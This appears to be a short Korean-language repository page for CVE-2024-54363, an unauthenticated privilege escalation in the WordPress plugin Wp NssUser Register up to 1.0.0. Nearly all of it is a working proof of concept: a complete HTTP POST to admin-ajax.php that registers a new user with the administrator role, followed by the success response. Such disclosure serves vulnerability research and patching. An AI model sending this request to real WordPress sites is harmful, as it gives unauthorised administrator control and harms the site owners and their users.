randomrobbiebf/cve-2024-54363Wp NssUser Register <= 1.0.0 - 인증되지 않은 권한 상승
Wp NssUser Register <= 1.0.0 - 인증되지 않은 권한 상승
WordPress용 Wp NssUser Register 플러그인은 1.0.0을 포함한 모든 버전에서 권한 상승 취약점에 노출됩니다. 이로 인해 인증되지 않은 공격자가 사이트에 관리자로 등록할 수 있습니다.
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Referer: http://example.com/
action=nssTheme_registration_form&rgName=admin2&[email protected]&rgFname=Attacker&rgLname=User&rgRole=administrator&rg_pass=evilpass
<p>successful, just Check this: </p> <a href="https://wp-dev.ddev.site/wp-login.php" title="Login">Login</a>